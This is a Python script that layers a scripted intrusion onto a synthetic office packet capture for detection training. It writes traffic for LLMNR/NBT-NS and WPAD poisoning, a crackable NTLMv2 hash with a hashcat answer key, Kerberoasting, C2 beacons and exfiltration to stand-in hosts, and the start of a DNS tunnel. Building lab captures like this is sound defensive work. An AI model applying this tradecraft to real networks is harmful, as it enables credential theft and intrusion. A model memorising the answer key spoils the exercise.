#!/usr/bin/env python3
"""Attack overlay for the synthetic mid-size office capture.

mkoffice.py writes the benign baseline: five minutes of a 180-seat office,
mirrored off Po1 on the core switch. This script layers one intrusion on top
of that same timeline, at the same mirror point, and writes

    office-attack.pcap     the baseline plus the incident   (default)
    office.pcap            the baseline alone               (--baseline-only)
    attack-only.pcap       the incident alone               (--overlay-only)

The story, start to finish, inside the same 300-second window:

      t+18  wks-sales-12 lands on a look-alike SharePoint domain and
            fetches a document over TLS           (lure, SNI in the clear)
      t+24  a second stage arrives over plain HTTP, served as image/png
            with an MZ header                     (file carving)
      t+31  HTTPS beacons to the same host every 30 s, with a TLS
            fingerprint that does not match the OS         (JA4 mismatch)
      t+37  a plain-HTTP fallback channel with a hard-coded MSIE 6.0 UA
      t+42  ICMP sweep and a half-open SYN scan of the server VLAN
      t+45  the operator answers the scanner PC's LLMNR and NBT-NS
            queries, and captures an NTLMv2 response        (crackable)
      t+60  Kerberoasting: TGS-REQs that ask for RC4 service tickets,
            and one AS-REP roast against an account with preauth off
      t+95  DNS tunnel: long base32 labels under one domain, TXT answers
     t+140  ARP spoofing of the VLAN 10 gateway, then the core takes it back
     t+164  the WPAD name is answered too, and the victim runs its traffic
            through the operator's proxy                    (MITM)
     t+190  lateral movement to wks-hr-03: SMB to ADMIN$, a service
            binary written over the wire, then the service started
     t+225  staging off the file server, then 1.2 MB out over TLS to a
            host that nothing else in the building talks to
     t+270  an ICMP tunnel as the backup egress path

Everything in here obeys the baseline's capture-point model: every frame
crosses Po1, carries the floor-2 device's VLAN tag, and loses a hop when the
core routed it. Attacker infrastructure sits in the RFC 5737 documentation
ranges (203.0.113.0/24, 198.51.100.0/24) so none of it resolves to anyone's
real network.

Rebuild:  python3 mkattack.py && gzip -9 office-attack.pcap
"""

import argparse
import random

import mkoffice as O
from mkoffice import (T0, CORE_MAC, MAC_BCAST, MAC_LLMNR, H, REALM, G,
                      Host, TcpFlow, dns_pair, dns_query, dns_reply, emit,
                      ext, filler, frame, http_req, http_resp, ipv4, jit,
                      krb_tcp, l2, mcast4, nbss, path, principal,
                      smb2_negotiate_req, smb2_negotiate_resp,
                      smb3_encrypted, tls_app, tls_ccs, tls_client_hello,
                      tls_server_hello, tls_session, u4, _rand)

from scapy.all import (ARP, DNS, DNSQR, DNSRR, ICMP, IP, Raw, UDP,
                       NBNSHeader, NBNSQueryRequest, NBNSQueryResponse,
                       NBNS_ADD_ENTRY, wrpcap)
from scapy.layers.smb2 import (SMB2_Header, SMB2_FILEID,
                               SMB2_Session_Setup_Request,
                               SMB2_Session_Setup_Response, SMB2_Error_Response,
                               SMB2_Tree_Connect_Request,
                               SMB2_Tree_Connect_Response,
                               SMB2_Create_Request, SMB2_Create_Response,
                               SMB2_Write_Request, SMB2_Write_Response,
                               SMB2_Close_Request, SMB2_Close_Response)
from scapy.layers.ntlm import (NTLM_NEGOTIATE, NTLM_CHALLENGE,
                               NTLM_AUTHENTICATE_V2, NTLMv2_RESPONSE, AV_PAIR,
                               NTOWFv2)
from scapy.layers.spnego import (GSSAPI_BLOB, SPNEGO_negToken,
                                 SPNEGO_negTokenInit, SPNEGO_negTokenResp,
                                 SPNEGO_MechType, SPNEGO_Token)
from scapy.asn1.asn1 import ASN1_BIT_STRING, ASN1_GENERALIZED_TIME, ASN1_OID
import scapy.layers.kerberos as KRB


# ===========================================================================
#  Who the attacker is, and where their infrastructure lives
# ===========================================================================
# Patient zero is an ordinary endpoint that is busy doing ordinary things in
# the baseline -- the user is in a Teams meeting the whole time. Everything
# hostile comes from this one host, so the whole incident pivots off one
# address, which is the point of the exercise.
PZ = H["wks-sales-12"]            # 10.21.10.61, Windows 11, floor 2
VICTIM = H["scan-pc-01"]          # 10.21.10.200, the legacy host that is poisoned
TARGET = H["wks-hr-03"]           # 10.21.10.64, floor 1 -- the lateral hop
DC = H["dc01"]
FS = H["fs01"]
GW_IP = "10.21.10.1"              # the VLAN 10 SVI on the core

# RFC 5737 documentation addresses: deliberately not routable to anyone.
x_stage = ext("stage", "203.0.113.77", 49,
              "docs-northstar-share.example -- look-alike document host")
x_c2 = ext("c2", "203.0.113.45", 49,
           "cdn-telemetry-eu.example -- C2, HTTPS beacon + HTTP fallback")
x_exfil = ext("exfil", "198.51.100.73", 47,
              "files.sync-eu.example -- where the staged archive goes")

LURE_DOMAIN = "docs-northstar-share.example"
C2_DOMAIN = "cdn-telemetry-eu.example"
EXFIL_DOMAIN = "files.sync-eu.example"
TUNNEL_DOMAIN = "t.sync-eu.example"

# The implant is statically linked Go, and its TLS hello says so: no ALPN, a
# cipher list no Windows component sends, and extensions in Go's order. That
# mismatch -- a Windows TTL and SYN layout underneath a Go ClientHello -- is
# the cheapest reliable signal in the whole file.
O.TLS_PROFILES["gostack"] = dict(
    ciphers="1301 1302 1303 c02c c030 c02b c02f cca9 cca8 c013 c014 009c"
            " 009d 002f 0035 c012 000a",
    exts=["server_name", "ems", "renego", "supported_groups",
          "ec_point_formats", "session_ticket", "status_request",
          "signature_algorithms", "supported_versions", "psk_modes",
          "key_share"],
    alpn=None)

# The implant's own HTTP identity. Hard-coded, years out of date, and it never
# sends a Referer -- three things a real browser on this host would not do.
UA_IMPLANT = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
UA_LOADER = "Mozilla/5.0 (Windows NT 10.0; WOW64)"

# The credential the operator captures and then reuses. The password is weak
# on purpose: the hash in this file really does crack.
CRED_USER = "svc-scan"
CRED_DOM = "CORP"
CRED_PASS = "Summer2026!"

NTLMSSP_OID = "1.3.6.1.4.1.311.2.2.10"
NFLAGS = ("NEGOTIATE_UNICODE+REQUEST_TARGET+NEGOTIATE_SIGN+NEGOTIATE_NTLM"
          "+NEGOTIATE_ALWAYS_SIGN+NEGOTIATE_EXTENDED_SESSIONSECURITY"
          "+NEGOTIATE_TARGET_INFO+NEGOTIATE_VERSION+NEGOTIATE_128"
          "+NEGOTIATE_KEY_EXCH+NEGOTIATE_56")
# 2026-11-10 17:14 UTC as a Windows FILETIME, so the NTLM timestamps agree
# with the capture's clock instead of drifting off to "now".
FILETIME = (T0 + 11644473600) * 10 ** 7


# ===========================================================================
#  Building blocks the baseline does not have
# ===========================================================================
def icmp_echo(t, src, dst, ident, seq, payload, *, reply=False, ttl=None):
    """One echo request or reply, framed for the mirror point."""
    vlan, sm, dm = path(src, dst)
    p = l2(sm, dm, vlan) / ipv4(src, dst, ttl=ttl, df=False) / \
        ICMP(type=0 if reply else 8, id=ident, seq=seq) / Raw(payload)
    return emit(t, p)


def dead_host(ip):
    """A stand-in Host for an address nothing answers on: used so the sweep
    can address frames at IPs that have no device behind them."""
    h = Host(f"unused-{ip.replace('.', '-')}", ip, mac=None, vlan=20,
             osname="ext", ttl=64)
    h.local = False
    h.mirrored = False
    return h


def unreachable(t, dst_ip, inner):
    """ICMP host unreachable, generated by the core for an address that never
    answered an ARP. Rate-limited in real life, which is why only a few of
    the sweep's dead addresses get one."""
    p = l2(CORE_MAC, PZ.mac, 10) / \
        IP(src=GW_IP, dst=PZ.ip, ttl=255) / ICMP(type=3, code=1) / inner[IP]
    return emit(t, p)


def pe_bytes(size, *, subsystem=3):
    """A structurally valid PE32+ executable of about `size` bytes.

    It has to be valid, not just start with MZ: Zeek's file analyzer and
    Suricata's file keywords both parse past the DOS header, and a stub that
    only has the magic right shows up as a parser exception instead of as a
    PE. Nothing in here executes -- the one section is filler -- but every
    offset and length is where the format says it should be.
    """
    import struct
    dos = (b"MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00"
           b"\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00"
           + b"\x00" * 16 + b"\x00" * 12 + struct.pack("<I", 0x80))
    assert len(dos) == 64, len(dos)
    stub = (b"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd!\xb8\x01L\xcd!"
            b"This program cannot be run in DOS mode.\r\r\n$"
            + b"\x00" * 7)
    assert len(stub) == 64, len(stub)

    raw = max(size - 1024, 512)
    raw += (-raw) % 512                               # FileAlignment
    virt = raw + (-raw) % 0x1000                      # SectionAlignment
    coff = struct.pack("<HHIIIHH", 0x8664, 1, 0x6912A3C0, 0, 0, 240, 0x0022)
    opt = struct.pack(
        "<HBBIIIIIQIIHHHHHHIIIIHHQQQQII",
        0x020B, 14, 38, raw, 0, 0, 0x1000, 0x1000, 0x140000000, 0x1000,
        0x200, 6, 0, 0, 0, 6, 0, 0, 0x1000 + virt, 0x400, 0, subsystem,
        0x8160, 0x100000, 0x1000, 0x100000, 0x1000, 0, 16)
    assert len(opt) == 112, len(opt)
    opt += b"\x00" * 128                              # 16 empty directories
    sect = struct.pack("<8sIIIIIIHHI", b".text", virt, 0x1000, raw, 0x400,
                       0, 0, 0, 0, 0x60000020)
    headers = dos + stub + b"PE\x00\x00" + coff + opt + sect
    return headers + b"\x00" * (0x400 - len(headers)) + filler(raw)


def syn_probe(t, c, s, sport, dport, *, open_port, rtt=0.0009):
    """One half-open scan probe: SYN, then either SYN/ACK and an immediate
    RST, or RST/ACK from a closed port."""
    f = TcpFlow(t, c, s, sport, dport)
    f.seg("c", "S", syn=True)
    f.t += rtt
    f.ack["s"] = f.seq["c"]
    if open_port:
        f.seg("s", "SA", syn=True)
        f.t += rtt * 0.4
        # nmap -sS tears the half-open connection down with a bare RST: no
        # ACK flag, and the acknowledgement number left at zero.
        f.seg("c", "R", advance=False)
    else:
        f.seg("s", "RA")
    return f


def gss_init(ntlm):
    """SPNEGO negTokenInit wrapping an NTLMSSP message, as a client sends it
    in the first SMB2 Session Setup."""
    return GSSAPI_BLOB(innerToken=SPNEGO_negToken(token=SPNEGO_negTokenInit(
        mechTypes=[SPNEGO_MechType(oid=ASN1_OID(NTLMSSP_OID))],
        mechToken=SPNEGO_Token(value=ntlm))))


def gss_resp(ntlm, *, state=1, mech=True):
    """SPNEGO negTokenResp: the server's challenge, or the client's answer."""
    return SPNEGO_negToken(token=SPNEGO_negTokenResp(
        negState=state,
        supportedMech=SPNEGO_MechType(oid=ASN1_OID(NTLMSSP_OID)) if mech
        else None,
        responseToken=SPNEGO_Token(value=ntlm) if ntlm is not None else None))


def ntlm_negotiate():
    return NTLM_NEGOTIATE(NegotiateFlags=NFLAGS, ProductMajorVersion=10,
                          ProductMinorVersion=0, ProductBuild=19045,
                          NTLMRevisionCurrent=15)


def ntlm_challenge(server_name, challenge):
    """The rogue listener's challenge. Responder picks a fixed challenge so
    the hashes it collects are easy to crack offline; this one is fixed too."""
    return NTLM_CHALLENGE(
        NegotiateFlags=NFLAGS, ServerChallenge=challenge,
        ProductMajorVersion=10, ProductMinorVersion=0, ProductBuild=19045,
        NTLMRevisionCurrent=15,
        Payload=[("TargetName", CRED_DOM),
                 ("TargetInfo", [
                     AV_PAIR(AvId="MsvAvNbDomainName", Value=CRED_DOM),
                     AV_PAIR(AvId="MsvAvNbComputerName", Value=server_name.upper()),
                     AV_PAIR(AvId="MsvAvDnsDomainName",
                             Value="corp.northstar.example"),
                     AV_PAIR(AvId="MsvAvDnsComputerName",
                             Value=f"{server_name}.corp.northstar.example"),
                     AV_PAIR(AvId="MsvAvTimestamp", Value=FILETIME),
                     AV_PAIR(AvId="MsvAvEOL"),
                 ])])


def ntlm_authenticate(challenge, client_challenge, workstation, *,
                      user=CRED_USER, domain=CRED_DOM, passwd=CRED_PASS):
    """A real NTLMv2 AUTHENTICATE message.

    The NTProofStr is computed the way [MS-NLMP] 3.3.2 says, from the real
    password, so the hash that comes out of this capture is a genuine
    NTLMv2 hash and cracks against the real plaintext.
    """
    av = [AV_PAIR(AvId="MsvAvNbDomainName", Value=domain),
          AV_PAIR(AvId="MsvAvNbComputerName", Value="WKS-SALES-12"),
          AV_PAIR(AvId="MsvAvDnsDomainName", Value="corp.northstar.example"),
          AV_PAIR(AvId="MsvAvDnsComputerName",
                  Value="wks-sales-12.corp.northstar.example"),
          AV_PAIR(AvId="MsvAvTimestamp", Value=FILETIME),
          AV_PAIR(AvId="MsvAvFlags", Value=2),
          AV_PAIR(AvId="MsvAvEOL")]
    resp = NTLMv2_RESPONSE(TimeStamp=FILETIME,
                           ChallengeFromClient=client_challenge, AvPairs=av)
    resp.NTProofStr = resp.computeNTProofStr(NTOWFv2(passwd, user, domain),
                                             challenge)
    auth = NTLM_AUTHENTICATE_V2(
        NegotiateFlags=NFLAGS, ProductMajorVersion=10, ProductMinorVersion=0,
        ProductBuild=19045, NTLMRevisionCurrent=15, MIC=_rand(16),
        Payload=[("DomainName", domain), ("UserName", user),
                 ("Workstation", workstation),
                 ("NtChallengeResponse", resp),
                 ("EncryptedRandomSessionKey", _rand(16))])
    return auth, resp


def hashcat_line(user, domain, challenge, resp):
    """The -m 5600 line a student should end up with, printed at build time
    so the answer key never drifts from the capture."""
    blob = bytes(resp)[16:]
    return "%s::%s:%s:%s:%s" % (user, domain, challenge.hex(),
                                resp.NTProofStr.hex(), blob.hex())


CRACKABLE = []        # filled in as the capture is built, printed at the end


def smb_hdr(cmd, mid, *, sid=0, tid=0, resp=False, status=0, credits=1):
    flags = "SMB2_FLAGS_SERVER_TO_REDIR" if resp else 0
    return SMB2_Header(Command=cmd, MID=mid, SessionId=sid, TID=tid,
                       Flags=flags, Status=status, CreditCharge=1,
                       CreditRequest=credits)


def smb_send(f, who, body):
    """One SMB2 message, length-prefixed the way NBSS wants it."""
    f.send(who, nbss(bytes(body)), think=0.0009 + jit(0.0006))


def fileid(n):
    return SMB2_FILEID(Persistent=n, Volatile=n ^ 0x5A5A)


# Create/Close responses carry four timestamps, and scapy fills them with
# "now" unless they are pinned -- which would make every build differ.
FTIMES = dict(CreationTime=T0 - 3 * 86400, LastAccessTime=T0 + 190.0,
              LastWriteTime=T0 + 190.0, ChangeTime=T0 + 190.0)


def ntlm_session_setup(f, *, server_name, workstation, sid, challenge,
                       client_challenge, succeed, user=CRED_USER,
                       domain=CRED_DOM, record=True):
    """NEGOTIATE -> SESSION_SETUP(NTLM negotiate / challenge / authenticate).

    Session setup happens once per session, not per file: everything after
    this point rides the same SessionId.
    """
    f.send("c", smb2_negotiate_req(), think=0.0011)
    f.send("s", smb2_negotiate_resp(), think=0.0019)
    smb_send(f, "c", smb_hdr("SMB2_SESSION_SETUP", 2) /
             SMB2_Session_Setup_Request(
                 SecurityMode="SIGNING_ENABLED",
                 Buffer=[("SecurityBlob", gss_init(ntlm_negotiate()))]))
    smb_send(f, "s", smb_hdr("SMB2_SESSION_SETUP", 2, resp=True, sid=sid,
                             status=0xC0000016) /
             SMB2_Session_Setup_Response(
                 Buffer=[("Security",
                          gss_resp(ntlm_challenge(server_name, challenge)))]))
    auth, resp = ntlm_authenticate(challenge, client_challenge, workstation,
                                   user=user, domain=domain)
    if record:
        CRACKABLE.append(hashcat_line(user, domain, challenge, resp))
    smb_send(f, "c", smb_hdr("SMB2_SESSION_SETUP", 3, sid=sid) /
             SMB2_Session_Setup_Request(
                 SecurityMode="SIGNING_ENABLED",
                 Buffer=[("SecurityBlob", gss_resp(auth, state=None,
                                                   mech=False))]))
    if succeed:
        smb_send(f, "s", smb_hdr("SMB2_SESSION_SETUP", 3, resp=True, sid=sid) /
                 SMB2_Session_Setup_Response(
                     Buffer=[("Security", gss_resp(None, state=0,
                                                   mech=False))]))
    else:
        # STATUS_LOGON_FAILURE: the listener took the hash and refused the
        # logon, which is exactly what Responder does by default.
        smb_send(f, "s", smb_hdr("SMB2_SESSION_SETUP", 3, resp=True, sid=sid,
                                 status=0xC000006D) / SMB2_Error_Response())
    return f


# ===========================================================================
#  Stage 1 -- delivery: the lure, then the second stage over plain HTTP
# ===========================================================================
def scene_atk_delivery():
    # The user clicks through from a mail link. The name is a plausible
    # look-alike of the real tenant's SharePoint host, and it resolves.
    dns_pair(T0 + 18.0, PZ, DC, LURE_DOMAIN, "A",
             [DNSRR(rrname=LURE_DOMAIN, type="A", ttl=120, rdata=x_stage.ip)],
             sport=50740)
    # The lure page and the document itself: ordinary-looking HTTPS, so the
    # SNI is all there is to go on.
    tls_session(T0 + 18.09, PZ, x_stage, LURE_DOMAIN, sport=50741,
                up=1240, down=38000, profile="edge")
    tls_session(T0 + 21.4, PZ, x_stage, LURE_DOMAIN, sport=50743,
                up=980, down=96000, profile="edge")

    # The document's macro resolves the next hop and fetches it over port 80.
    dns_pair(T0 + 24.2, PZ, DC, C2_DOMAIN, "A",
             [DNSRR(rrname=C2_DOMAIN, type="A", ttl=60, rdata=x_c2.ip)],
             sport=50746)
    # Served as image/png, with an MZ header and a DOS stub: the file command
    # and any content check disagree with the URL and the Content-Type.
    pe = pe_bytes(143000)
    f = TcpFlow(T0 + 24.31, PZ, x_c2, 50748, 80)
    f.open()
    f.send("c", http_req("GET", "/assets/img/jquery-3.7.1.min.png", C2_DOMAIN,
                         ua=UA_LOADER,
                         extra=["Accept: */*", "Accept-Encoding: identity"]),
           think=0.0012)
    f.send("s", http_resp("200 OK", ctype="image/png", body=pe,
                          server="nginx/1.24.0",
                          extra=["Cache-Control: no-store"]),
           think=0.031, ack_every=6)
    f.close("c", think=0.02)


# ===========================================================================
#  Stage 2 -- command and control
# ===========================================================================
def scene_atk_beacon():
    """Thirty-second beacons with a little jitter, and a plain-HTTP fallback.

    The regularity is the finding: ten connections to one host, evenly
    spaced, each a few hundred bytes up and a few hundred down, for the whole
    capture -- and a ClientHello that does not match the operating system
    underneath it.
    """
    sport = 50800
    t = T0 + 31.2
    while t < T0 + 300.0:
        tls_session(t, PZ, x_c2, C2_DOMAIN, sport=sport,
                    up=RNG_ATK.randrange(300, 540),
                    down=RNG_ATK.randrange(180, 360), profile="gostack")
        sport += 1
        t += 30.0 + (RNG_ATK.random() * 3.6 - 1.8)

    # The fallback channel: plain HTTP, hard-coded ancient UA, no Referer,
    # base64 in and out, and a URI that looks like a software update check.
    for i, off in enumerate((37.4, 157.9, 277.2)):
        f = TcpFlow(T0 + off, PZ, x_c2, 50830 + i, 80)
        f.open()
        body = _b64ish(96 + i * 40)
        f.send("c", http_req("POST", f"/updates/check.php?id={RNG_ATK.randrange(2**31):08x}",
                             C2_DOMAIN, ua=UA_IMPLANT,
                             extra=["Accept: */*",
                                    "Content-Type: application/octet-stream"],
                             body=body), think=0.0014)
        f.send("s", http_resp("200 OK", ctype="text/plain",
                              body=_b64ish(120 + i * 200), server="nginx/1.24.0"),
               think=0.027)
        f.close("c", think=0.01)


def _b64ish(n):
    alpha = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    return bytes(alpha[RNG_ATK.randrange(64)] for _ in range(n))


# ===========================================================================
#  Stage 3 -- internal reconnaissance
# ===========================================================================
SERVER_ALIVE = {10: DC, 20: FS, 40: H["siem01"], 50: H["bkp01"], 55: H["nvr01"]}


def scene_atk_recon():
    """An ICMP sweep of the server VLAN, then a half-open port scan.

    The sweep is the easy one to find: one source, forty destinations, one
    packet each, 60 ms apart. Only five of them answer.
    """
    t = T0 + 42.0
    # ping.exe's 32-byte payload: the operator is looping the built-in tool
    # rather than dropping a scanner on disk.
    payload = b"abcdefghijklmnopqrstuvwabcdefghi"
    for last in range(1, 41):
        ip = f"10.21.20.{last}"
        if last in SERVER_ALIVE:
            dst = SERVER_ALIVE[last]
            icmp_echo(t, PZ, dst, 0x5c01, last, payload)
            icmp_echo(t + 0.0011, dst, PZ, 0x5c01, last, payload, reply=True)
        elif last == 1:
            dst = dead_host(ip)                      # the SVI on the core
            icmp_echo(t, PZ, dst, 0x5c01, last, payload)
            emit(t + 0.0008,
                 l2(CORE_MAC, PZ.mac, 10) /
                 IP(src=GW_IP, dst=PZ.ip, ttl=255, id=RNG_ATK.randrange(1, 65535)) /
                 ICMP(type=0, id=0x5c01, seq=last) / Raw(payload))
        else:
            req = icmp_echo(t, PZ, dead_host(ip), 0x5c01, last, payload)
            # The core answers for a handful of the dead addresses and then
            # hits its ICMP rate limit, which is what real gear does.
            if last in (2, 3, 4, 11, 12, 21):
                unreachable(t + 1.08 + jit(0.04), ip, req)
        t += 0.06 + jit(0.012)

    # Half-open SYN scan. The port lists are the ones a domain controller and
    # a file server really answer on, so the scan's results are informative.
    dc_ports = [21, 22, 23, 25, 53, 80, 88, 111, 135, 139, 389, 443, 445, 464,
                593, 636, 1433, 3268, 3269, 3389, 5985, 9389]
    dc_open = {53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389,
               5985, 9389}
    fs_ports = [21, 22, 80, 135, 139, 443, 445, 1433, 3389, 5985]
    fs_open = {135, 139, 445, 3389, 5985}

    t = T0 + 48.4
    sport = 53000
    for dst, ports, opened in ((DC, dc_ports, dc_open), (FS, fs_ports, fs_open)):
        for p in ports:
            syn_probe(t, PZ, dst, sport, p, open_port=p in opened)
            sport += 1
            t += 0.022 + jit(0.006)
        t += 0.4


# ===========================================================================
#  Stage 4 -- name poisoning, and the credential it yields
# ===========================================================================
def _baseline_llmnr():
    """Find the scanner PC's unanswered LLMNR queries in what is already
    queued, so the overlay answers the real ones instead of inventing new
    traffic. A responder on the wire does exactly this."""
    out = []
    for t, p in O.PKTS:
        if UDP in p and p[UDP].dport == 5355 and p[IP].src == VICTIM.ip:
            out.append((t, p[UDP].sport, p[DNS]))
    if out:
        return out
    # --overlay-only: the baseline's queries are not here to answer, so the
    # victim's side of the exchange has to be generated too.
    for off, name in ((45.1, "fileserver"), (45.6, "fileserver"),
                      (164.2, "wpad"), (164.8, "wpad")):
        q = DNS(id=RNG_ATK.randrange(1, 65535), rd=0,
                qd=DNSQR(qname=name, qtype="A", qclass=1))
        mcast4(T0 + off, VICTIM, "224.0.0.252", MAC_LLMNR, 55213, 5355, q,
               ttl=1)
        out.append((T0 + off, 55213, q))
    return out


def _baseline_nbns():
    out = []
    for t, p in O.PKTS:
        if (UDP in p and p[UDP].dport == 137 and p[IP].src == VICTIM.ip
                and NBNSQueryRequest in p):
            out.append((t, p))
    return out


def scene_atk_poison():
    """LLMNR and NBT-NS answers from a host that is not the file server.

    The baseline has the scanner PC asking for "fileserver" and "wpad" and
    getting no answer. Here something answers: a unicast LLMNR response, from
    an endpoint, claiming to be whatever was asked for.
    """
    for t, sport, q in _baseline_llmnr():
        name = q.qd.qname.decode().rstrip(".")
        resp = DNS(id=q.id, qr=1, aa=0, rd=0, ra=0,
                   qd=DNSQR(qname=name, qtype="A", qclass=1),
                   an=DNSRR(rrname=name, type="A", ttl=30, rdata=PZ.ip),
                   ancount=1)
        # LLMNR answers are unicast back to the querier's source port.
        u4(t + 0.0023 + jit(0.0008), PZ, VICTIM, 5355, sport, resp, ttl=255)

    for t, p in _baseline_nbns():
        name = p[NBNSQueryRequest].QUESTION_NAME
        emit(t + 0.0031 + jit(0.001),
             l2(PZ.mac, VICTIM.mac, 10) /
             IP(src=PZ.ip, dst=VICTIM.ip, ttl=128,
                id=RNG_ATK.randrange(1, 65535)) /
             UDP(sport=137, dport=137) /
             (NBNSHeader(NAME_TRN_ID=p[NBNSHeader].NAME_TRN_ID, RESPONSE=1,
                         OPCODE=0, NM_FLAGS=0x08, QDCOUNT=0, ANCOUNT=1) /
              NBNSQueryResponse(RR_NAME=name, TTL=165,
                                ADDR_ENTRY=[NBNS_ADD_ENTRY(
                                    G=0, OWNER_NODE_TYPE=0,
                                    NB_ADDRESS=PZ.ip)])))

    # The victim believes the answer and opens SMB to it. Session setup is
    # where the NTLMv2 response lands in the operator's lap.
    f = TcpFlow(T0 + 45.21, VICTIM, PZ, 52114, 445, win_raw=1024)
    f.open()
    ntlm_session_setup(f, server_name="fileserver", workstation="SCAN-PC-01",
                       sid=0x0000A1000000FE01,
                       challenge=bytes.fromhex("1122334455667788"),
                       client_challenge=_rand(8), succeed=False)
    f.close("c", think=0.004)

    # Second round at t+164: same answer for WPAD, and this time the victim
    # fetches a proxy configuration from the operator and starts using it.
    f = TcpFlow(T0 + 164.33, VICTIM, PZ, 52140, 80)
    f.open()
    f.send("c", http_req("GET", "/wpad.dat", "wpad", ua="WinHTTP-Autoproxy-Service/5.1",
                         extra=["Accept: */*"]), think=0.0013)
    pac = (b"function FindProxyForURL(url, host) {\n"
           b"  if (isPlainHostName(host)) return \"DIRECT\";\n"
           b"  return \"PROXY 10.21.10.61:3128; DIRECT\";\n}\n")
    f.send("s", http_resp("200 OK", ctype="application/x-ns-proxy-autoconfig",
                          body=pac, server="Microsoft-HTTPAPI/2.0"),
           think=0.0021)
    f.close("c", think=0.03)

    # ... and here is the proxy being used: a CONNECT for a host the victim
    # would otherwise have reached directly over TLS.
    f = TcpFlow(T0 + 166.1, VICTIM, PZ, 52143, 3128)
    f.open()
    f.send("c", b"CONNECT outlook.cloud.microsoft:443 HTTP/1.1\r\n"
                b"Host: outlook.cloud.microsoft:443\r\n"
                b"User-Agent: Microsoft Office/16.0\r\n"
                b"Proxy-Connection: keep-alive\r\n\r\n", think=0.0015)
    f.send("s", b"HTTP/1.1 200 Connection established\r\n"
                b"Proxy-Agent: mitmproxy/11.0\r\n\r\n", think=0.0024)
    f.send("c", tls_client_hello("outlook.cloud.microsoft",
                                 profile="schannel"), think=0.004)
    f.send("s", tls_server_hello() + tls_ccs() + tls_app(1180), think=0.028)
    f.send("c", tls_ccs() + tls_app(52) + tls_app(820), think=0.003)
    f.send("s", tls_app(6400), think=0.03)
    f.close("c", think=0.5)


# ===========================================================================
#  Stage 5 -- Kerberos abuse
# ===========================================================================
def scene_atk_kerberoast():
    """TGS-REQs that ask for RC4 service tickets, plus one AS-REP roast.

    The baseline's Kerberos is all etype 18 (AES256). These ask for etype 23
    (RC4-HMAC) and nothing else, for three service accounts in a row, from a
    workstation that has no business asking: that pattern is the detection.
    """
    till = ASN1_GENERALIZED_TIME(b"20261111031400Z")
    cname = principal(1, [b"jlin"])
    krbtgt = principal(2, [b"krbtgt", REALM])
    tgt = KRB.KRB_Ticket(tktVno=5, realm=G(REALM), sname=krbtgt,
                         encPart=KRB.EncryptedData(etype=18, kvno=2,
                                                   cipher=_rand(1024)))
    spns = [(b"MSSQLSvc", b"sql01.corp.northstar.example:1433"),
            (b"HTTP", b"intranet.corp.northstar.example"),
            (b"MSSQLSvc", b"reporting.corp.northstar.example:1433")]

    f = TcpFlow(T0 + 60.2, PZ, DC, 50920, 88)
    f.open()
    for i, parts in enumerate(spns):
        sname = principal(2, list(parts))
        apreq = KRB.KRB_AP_REQ(
            # RFC 4120 makes APOptions a 32-bit BIT STRING; scapy trims
            # trailing zero bytes off a flag string, which leaves a field
            # real parsers read straight past. Spell out all 32 bits.
            apOptions=ASN1_BIT_STRING("00100000" + "0" * 24),
            ticket=tgt,
            authenticator=KRB.EncryptedData(etype=18, kvno=9,
                                            cipher=_rand(176)))
        f.send("c", krb_tcp(KRB.KRB_TGS_REQ(
            padata=[KRB.PADATA(padataType=1, padataValue=apreq)],
            reqBody=KRB.KRB_KDC_REQ_BODY(
                # Rubeus asks for forwardable, renewable, canonicalize.
                # scapy's default kdcOptions is a one-byte BIT STRING, which
                # is not what the ASN.1 says and not what parsers expect, so
                # spell the 32-bit field out.
                kdcOptions="forwardable+renewable+canonicalize",
                realm=G(REALM), sname=sname, till=till, rtime=till,
                nonce=0x4A1B0000 + i, etype=[23]))), think=0.03 + jit(0.02))
        f.send("s", krb_tcp(KRB.KRB_TGS_REP(
            # scapy shares one KDC-REP structure between AS-REP and TGS-REP
            # and leaves msg-type at 11, so a TGS-REP ends up claiming to be
            # an AS-REP inside a TGS-REP application tag. Say 13.
            msgType=13, crealm=G(REALM), cname=cname,
            ticket=KRB.KRB_Ticket(tktVno=5, realm=G(REALM), sname=sname,
                                  encPart=KRB.EncryptedData(
                                      etype=23, kvno=3, cipher=_rand(1180))),
            encPart=KRB.EncryptedData(etype=18, kvno=9, cipher=_rand(304)))),
            think=0.006 + jit(0.004))
    f.close("c", think=0.01)

    # AS-REP roast: an AS-REQ with no pre-authentication for an account that
    # has "do not require preauth" set, so the KDC hands back an AS-REP whose
    # encrypted part is crackable offline. The KDC answering an AS-REQ that
    # carries no PA-ENC-TIMESTAMP is the thing to alert on.
    roast = principal(1, [b"svc-legacy"])
    f = TcpFlow(T0 + 63.9, PZ, DC, 50924, 88)
    f.open()
    f.send("c", krb_tcp(KRB.KRB_AS_REQ(
        padata=[KRB.PADATA(padataType=128,
                           padataValue=KRB.PA_PAC_REQUEST(includePac=False))],
        reqBody=KRB.KRB_KDC_REQ_BODY(
            kdcOptions="forwardable+proxiable+renewable+canonicalize",
            cname=roast, realm=G(REALM), sname=krbtgt, till=till,
            rtime=till, nonce=0x4A1B00FF, etype=[23]))),
        think=0.0016)
    f.send("s", krb_tcp(KRB.KRB_AS_REP(
        crealm=G(REALM), cname=roast,
        ticket=KRB.KRB_Ticket(tktVno=5, realm=G(REALM), sname=krbtgt,
                              encPart=KRB.EncryptedData(etype=23, kvno=2,
                                                        cipher=_rand(980))),
        encPart=KRB.EncryptedData(etype=23, kvno=8, cipher=_rand(312)))),
        think=0.0084)
    f.close("c", think=0.006)


# ===========================================================================
#  Stage 6 -- DNS tunnel
# ===========================================================================
B32 = "abcdefghijklmnopqrstuvwxyz234567"


def _label(n):
    return "".join(B32[RNG_ATK.randrange(32)] for _ in range(n))


def scene_atk_dnstun():
    """A tunnel, carried on TXT queries through the office's own resolver.

    Only the inside leg is visible from here -- dc01's recursion to its
    forwarder does not cross Po1 -- which is exactly the view a SPAN at the
    access layer gives you. The query names are the tell: 40-plus characters
    of base32 in the first label, hundreds of queries to one domain, and
    answers that are nearly all payload.
    """
    t = T0 + 95.0
    sport = 51200
    for i in range(54):
        label = _label(RNG_ATK.randrange(40, 53))
        qname = f"{label}.{i:03d}.{TUNNEL_DOMAIN}"
